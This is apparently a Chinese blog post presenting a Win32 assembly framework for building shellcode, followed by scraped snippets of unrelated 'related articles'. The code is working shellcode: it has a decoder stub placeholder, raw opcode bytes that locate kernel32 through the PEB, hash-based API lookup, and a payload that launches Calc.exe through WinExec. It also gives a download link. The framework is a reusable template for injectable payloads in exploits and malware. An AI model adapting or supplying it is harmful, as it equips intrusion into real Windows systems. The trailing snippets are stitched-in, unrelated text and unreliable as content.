ShellCode框架(Win32ASM编写)

主要方法:

使用宏的一切技巧让编译器 算出代码的长度

有较好的扩充性

include ShellCodeCalc.inc

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
		.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;                     API Hash值
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;MessageBoxA     1E380A6Ah
;LoadLibraryA    0C917432h
;ExitProcess     4FD18963h
;WinExec         1A22F51h
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;                ShellCode 模型介绍
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;........................................................
;解码ShellCode    长度未知
;JMP -> ShellCode
;........................................................
;GetKernelBase    长度已知
;........................................................
;GetPorcAddress   长度已知
;........................................................
;String           长度未知
;........................................................
; 可以变长的ShellCode
;    抬高栈顶, 获取函数指针
;    完成ShellCode功能
;........................................................
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;                 ShellCode 宏定义部分
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DECODE_LEN       equ DeCodeEnd - DeCodeBegin                      ;解密代码的长度
ENCODE_LEN       equ ShellCodeEnd - MyGetKernelBegin              ;加密代码的长度
KERNEL_BASE_LEN  equ MyGetKernelEnd - MyGetKernelBegin            ;MyGetKernelBase代码长度
PROCADDR_LEN     equ MyGetProcAddressEnd - MyGetProcAddressBegin  ;GetProcAddress代码长度
SHELLCODE_LEN    equ ShellCodeEnd - ShellCodeBegin                ;ShellCode代码长度
STRING_LEN       equ STRING_END - STRING_BEGIN                    ;字符串长度

dwGetKernelBase  =   DECODE_LEN - 5                               ;GetKernelBase  Offset
dwGetProcAddress =   DECODE_LEN + KERNEL_BASE_LEN - 5             ;GetProcAddress Offset

STACK_LEN        equ 100  ;抬高栈顶的大小

dwKernelBase     =   0h              ;KernelBase偏移
fnWinExec        =   4h              ;fnWinExec偏移
hUser32          =   8h              ;hUser32偏移
fnMessageBox     =   0Ch             ;MessageBox偏移
fnExitProcess    =   10h             ;ExitProcess偏移
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;                     解码部分
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DeCodeBegin:
  ;重定位
  call GET_EIP_1
GET_EIP_1:
  pop ebx

  ;解密代码[不能使用ebx寄存器]
  ;......

  ;跳转到ShellCode开始
  jmp ShellCodeBegin
DeCodeEnd:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;                     MyGetKernelBase
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
MyGetKernelBegin:
g_fn_GetKernelBase  db 064h,0A1h,18h,00h,00h,00h,8Bh,40h,30h,8Bh,40h,0Ch,8Bh,40h,0Ch,8Bh,00h,8Bh,00h,8Bh,40h,18h,0C3h
MyGetKernelEnd:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;                     MyGetProcAddress
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
MyGetProcAddressBegin:
g_fn_GetProcAddress db   55h,8Bh,0ECh,56h,53h,51h,83h,7Dh,08h,00h,74h,6Bh,8Bh,75h
                    db   08h,03h,76h,3Ch,8Dh,76h,78h,8Bh,36h,03h,75h,08h,8Bh,5Eh
                    db   20h,03h,5Dh,08h,33h,0C9h,8Bh,04h,8Bh,03h,45h,08h,51h,8Bh
                    db   0D0h,33h,0C0h,8Ah,0Ah,84h,0C9h,74h,11h,0Fh,0BEh,0C9h,0C1h
                    db   0C8h,07h,83h,0C2h,01h,03h,0C1h,8Ah,0Ah,84h,0C9h,75h,0EFh
                    db   59h,3Bh,45h,0Ch,74h,06h,41h,3Bh,4Eh,18h,72h,0D2h,3Bh,4Eh,18h
                    db   73h,22h,8Bh,5Eh,24h,03h,5Dh,08h,0Fh,0B7h,04h,4Bh,3Bh,46h
                    db   14h,73h,13h,8Bh,5Eh,1Ch,03h,5Dh,08h,8Bh,04h,83h,03h,45h
                    db   08h,59h,5Bh,5Eh,0C9h,0C2h,08h,00h,33h,0C0h,59h,5Bh,5Eh
                    db   0C9h,0C2h,08h,00h
MyGetProcAddressEnd:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;                     String
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
STRING_BEGIN:
lpCmd db ‘Calc.exe‘,0

CMD_LEN   = STRING_END - lpCmd
lpszCmd   =   dwGetProcAddress +  PROCADDR_LEN             ;lpszUser32
STRING_END:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;                     ShellCode
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ShellCodeBegin:
  ;扩充栈空间 保存栈环境
  sub  esp,STACK_LEN
  push ebp
  mov  ebp,esp

  ;得到Kernel32.dll的基地址
  lea eax,[ebx + dwGetKernelBase]
  call eax
  or eax,eax
  jz Exit_ShellCode
  mov dword ptr [ebp + dwKernelBase],eax

  ;遍历导出表 得到WinExec地址
  push 1A22F51h
  push dword ptr [ebp + dwKernelBase]
  lea  eax,[ebx + dwGetProcAddress]
  call eax
  or   eax,eax
  jz   Exit_ShellCode
  mov dword ptr [ebp + fnWinExec],eax

  ;弹出计算器
  push SW_SHOWNORMAL
  lea  eax,[ebx + lpszCmd]
  push eax
  call dword ptr [ebp + fnWinExec]

Exit_ShellCode:
  ;获取ExitProcess函数地址
  push 4FD18963h
  push dword ptr [ebp + dwKernelBase]
  lea  eax,[ebx + dwGetProcAddress]
  call eax
  or   eax,eax
  jz   ShellCodeEnd
  mov dword ptr [ebp + fnExitProcess],eax

  ;调用ExitProcess
  push NULL
  call dword ptr [ebp + fnExitProcess]

ShellCodeEnd:
nop
nop
nop
nop
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;                        End
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

ShowLen proc

  ;测试长度
  invoke crt_printf,L("Decode Len:",9h,"%d",0ah,0dh),DECODE_LEN
  invoke crt_printf,L("Encode Len:",9h,"%d",0ah,0dh),ENCODE_LEN
  invoke crt_printf,L("GetKernelBase Len:",9h,"%d",0ah,0dh),KERNEL_BASE_LEN
  invoke crt_printf,L("GetProcAddress Len:",9h,"%d",0ah,0dh),PROCADDR_LEN
  invoke crt_printf,L("ShellCode Len:",9h,"%d",0ah,0dh),SHELLCODE_LEN

  ret

ShowLen endp

main proc

  ;invoke ShowLen
  jmp DeCodeBegin

main endp

end main

代码下载地址:

链接:http://pan.baidu.com/s/1bnGlW1T 密码:o9m7

时间: 2024-10-14 02:23:36

ShellCode框架(Win32ASM编写)的相关文章

JDBC框架的编写

JDBC框架直接使用JDBC开发,非常麻烦,步骤繁琐,所以在企业开发Web程序时,连接数据库进行操作都是通过JDBC框架来完成的知识点1,JDBC元数据API(编写JDBC框架基础)2,框架编写思想3,Apache DBUtils(tomcat的JDBC框架) 数据库元数据(metadata)数据库存储结构定义信息(库,表,记录,列的定义信息)DataBaseMetaData数据库元数据Connection.getMetaData();通过连接获得数据库元数据信息getURL():返回一个Str

设计一个JavaScript框架需要编写哪些模块

在这个js框架随处乱跑的时代,你是否考虑过写一个自己的框架?下面的内容也许会有点帮助. 一个框架应该包含哪些内容? 1. 语言扩展 大部分现有的框架都提供了这部分内容,语言扩展应当是以ECMAScript为基础进行的,不应当依赖任何宿主环境,也就是说,作为一个框架的设计者,你应当保证你的语言扩展可以工作在任何宿主环境中,而不是仅仅适合浏览器环境.你必须保证把它放到WScript,SpiderMonkey Shell,Rhino Shell,Adobe ExtendScript Toolkit甚至

LNMP(Linux+Nginx+Mysql+PHP)环境下安装yaf框架并编写一个MVC例子

1.下载yaf源码包yaf-2.2.9.tar.gz,并将其上传到服务器指定的位置,然后解压并安装: [[email protected] src]# tar -xvf yaf-2.2.9.tar.gz 进入解压后的目录: [[email protected] src]# cd yaf-2.2.9 一次执行: [[email protected] yaf-2.2.9]# /usr/local/php/bin/phpize [[email protected] yaf-2.2.9]# ./conf

hibernate与Struts框架结合编写简单针对修改练习

失败页面fail.jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd&

Window中的shellcode编写框架(入门篇)

Shellcode 定义 是一段可注入的指令(opcode),可以在被攻击的程序内运行. 特点 短小精悍,灵活多变,独立存在,无需任何文件格式的包装,因为shellcode直接操作寄存器和函数,所以opcode必须是16进制形式.因此也不能用高级语言编写shellcode.在内存中运行,无需运行在固定的宿主进程上. Shellcode的利用原理 将shellcode注入缓冲区,然后欺骗目标程序执行它.而将shellcode注入缓冲区最常用的方法是利用目标系统上的缓冲区溢出漏洞. Shellcod

如何编写一个shellcode

ShellCode的编写就是将函数或变量在内存中的间接地址改为函数或变量在内存中的直接地址,直接调用! 以MessageBox函数为例进行讲解如下 新建shellcode.cpp: 编写代码如下: 运行结果: 将VC代码转换成汇编指令: 内存数据图: 函数的真实地址找到之后,修改代码如下: 将以上汇编指令转换成二进制数据: 内存数据图: 将0x0040103C~0x00401049之间的二进制数据复制出来 如下: 6A 00 6A 00 6A 00 6A 00 B8 1E FD 0B 75 FF

如何编写轻量级 CSS 框架

Github 地址: https://github.com/nzbin/snack Demo 演示: https://nzbin.github.io/snack/ 前言 这篇文章我已经酝酿了半年之久,或者说拖沓了这么久吧.想说的东西很多,却又无从说起.如今轻量级框架如雨后春笋,层出不穷.我想每个人都应该归纳总结工作中的常见需求,编写一套适合自己的 CSS 框架.在之前的文章中,我提到了面向对象的 CSS(比如 BEM.OOCSS.SMACSS,详见 http://vanseodesign.com

手把手编写PHP框架 深入了解MVC运行流程

1 什么是MVC MVC模式(Model-View-Controller)是软件工程中的一种软件架构模式,把软件系统分为三个基本部分:模型(Model).视图(View)和控制器(Controller). PHP中MVC模式也称Web MVC,从上世纪70年代进化而来.MVC的目的是实现一种动态的程序设计,便于后续对程序的修改和扩展简化,并且使程序某一部分的重复利用成为可能.除 此之外,此模式通过对复杂度的简化,使程序结构更加直观.软件系统通过对自身基本部份分离的同时,也赋予了各个基本部分应有的

从零开始编写自己的C#框架(8)——后台管理系统功能设计

原文:从零开始编写自己的C#框架(8)--后台管理系统功能设计 还是老规矩先吐下槽,在规范的开发过程中,这个时候应该是编写总体设计(概要设计)的时候,不过对于中小型项目来说,过于规范的遵守软件工程,编写太多文档也会拉长进度,一般会将它与详细设计合并到一起来处理,所以本文档看起来会怪怪的,不是很符合规范,它只是从实用角度出发来编写,以指导后面功能的设计与开发. 从零开始编写自己的C#框架 后台管理系统功能设计文档 文件状态: [√] 草稿 [  ] 正式发布 [  ] 正在修改 文件标识: C#框